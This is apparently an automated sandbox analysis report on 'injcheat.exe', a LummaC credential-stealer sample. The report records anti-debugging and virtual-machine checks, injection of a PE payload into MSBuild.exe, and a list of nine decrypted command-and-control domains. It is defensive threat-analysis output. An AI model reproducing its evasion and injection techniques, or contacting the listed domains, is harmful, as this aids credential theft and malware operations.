Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Jump to behavior

Source: injcheat.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: injcheat.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: injcheat.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: injcheat.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: injcheat.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: injcheat.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: injcheat.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: injcheat.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source: injcheat.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: injcheat.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: injcheat.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: injcheat.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: injcheat.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: injcheat.exe

Static PE information: real checksum: 0x953cd should be: 0x89278

Source: C:\Users\user\Desktop\injcheat.exe	Code function: 1_2_00816F00 push ecx; ret		1_2_00816F13
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_0044F23B push edx; ret		3_2_0044F24B

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\injcheat.exe

API coverage: 2.3 %

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe TID: 7612

Thread sleep time: -30000s >= -30000s

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\Desktop\injcheat.exe

Code function: 1_2_0082981D FindFirstFileExW,

1_2_0082981D

Source: MSBuild.exe, 00000003.00000002.1532577754.0000000000C1A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW6
Source: Amcache.hve.6.dr	Binary or memory string: VMware
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.6.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.6.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.6.dr	Binary or memory string: VMware20,1hbin@
Source: MSBuild.exe, 00000003.00000002.1532577754.0000000000BDC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: Amcache.hve.6.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.6.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.6.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: MSBuild.exe, 00000003.00000002.1532577754.0000000000C1A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.6.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.6.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.6.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.6.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.6.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.6.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.6.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.6.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.6.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.6.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.6.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.6.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.6.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.6.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.6.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.6.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.6.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.6.dr	Binary or memory string: VMware-42 27 88 19 56 cc 59 1a-97 79 fb 8c bf a1 e2 9d
Source: Amcache.hve.6.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

API call chain: ExitProcess graph end node

graph_3-19767

Source: C:\Users\user\Desktop\injcheat.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\injcheat.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 3_2_004400D0 LdrInitializeThunk,

3_2_004400D0

Source: C:\Users\user\Desktop\injcheat.exe

Code function: 1_2_00817682 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

1_2_00817682

Source: C:\Users\user\Desktop\injcheat.exe	Code function: 1_2_00811FE0 mov edi, dword ptr fs:[00000030h]	1_2_00811FE0
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 1_2_0082A3AA mov eax, dword ptr fs:[00000030h]	1_2_0082A3AA
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 1_2_00820C8E mov ecx, dword ptr fs:[00000030h]	1_2_00820C8E

Source: C:\Users\user\Desktop\injcheat.exe

Code function: 1_2_0082C9A9 GetProcessHeap,

1_2_0082C9A9

Source: C:\Users\user\Desktop\injcheat.exe	Code function: 1_2_00817370 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_00817370
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 1_2_00817682 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_00817682
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 1_2_0081D7D3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_0081D7D3
Source: C:\Users\user\Desktop\injcheat.exe	Code function: 1_2_0081780F SetUnhandledExceptionFilter,	1_2_0081780F

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\injcheat.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 protect: page execute and read and write

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\injcheat.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: injcheat.exe	String found in binary or memory: frizzettei.sbs
Source: injcheat.exe	String found in binary or memory: isoplethui.sbs
Source: injcheat.exe	String found in binary or memory: epiloggati.sbs
Source: injcheat.exe	String found in binary or memory: invinjurhey.sbs
Source: injcheat.exe	String found in binary or memory: wickedneatr.sbs
Source: injcheat.exe	String found in binary or memory: exilepolsiy.sbs
Source: injcheat.exe	String found in binary or memory: laddyirekyi.sbs
Source: injcheat.exe	String found in binary or memory: exemplarou.sbs
Source: injcheat.exe	String found in binary or memory: bemuzzeki.sbs

Writes to foreign memory regions

Source: C:\Users\user\Desktop\injcheat.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\injcheat.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\injcheat.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 44B000	Jump to behavior
Source: C:\Users\user\Desktop\injcheat.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 44E000	Jump to behavior
Source: C:\Users\user\Desktop\injcheat.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 45E000	Jump to behavior
Source: C:\Users\user\Desktop\injcheat.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe base: 955008	Jump to behavior

Source: C:\Users\user\Desktop\injcheat.exe

Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"

Jump to behavior

Source: C:\Users\user\Desktop\injcheat.exe	Code function: EnumSystemLocalesW,	1_2_0082C085
Source: C:\Users\user\Desktop\injcheat.exe	Code function: EnumSystemLocalesW,	1_2_0082C0D0
Source: C:\Users\user\Desktop\injcheat.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	1_2_0082C1F6
Source: C:\Users\user\Desktop\injcheat.exe	Code function: EnumSystemLocalesW,	1_2_0082C16B
Source: C:\Users\user\Desktop\injcheat.exe	Code function: GetLocaleInfoW,	1_2_0082C449
Source: C:\Users\user\Desktop\injcheat.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	1_2_0082C572
Source: C:\Users\user\Desktop\injcheat.exe	Code function: GetLocaleInfoW,	1_2_0082C678
Source: C:\Users\user\Desktop\injcheat.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	1_2_0082C747
Source: C:\Users\user\Desktop\injcheat.exe	Code function: EnumSystemLocalesW,	1_2_00825ADF
Source: C:\Users\user\Desktop\injcheat.exe	Code function: GetACP,IsValidCodePage,GetLocaleInfoW,	1_2_0082BDE3
Source: C:\Users\user\Desktop\injcheat.exe	Code function: GetLocaleInfoW,	1_2_00825F89

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\injcheat.exe

Code function: 1_2_00817575 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

1_2_00817575

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.6.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: 3.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.injcheat.exe.810000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.1532369839.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: 3.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.injcheat.exe.810000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.1532369839.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	311 Process Injection	2 Virtualization/Sandbox Evasion	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Screen Capture	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	311 Process Injection	LSASS Memory	41 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Deobfuscate/Decode Files or Information	Security Account Manager	2 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	2 Clipboard Data	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
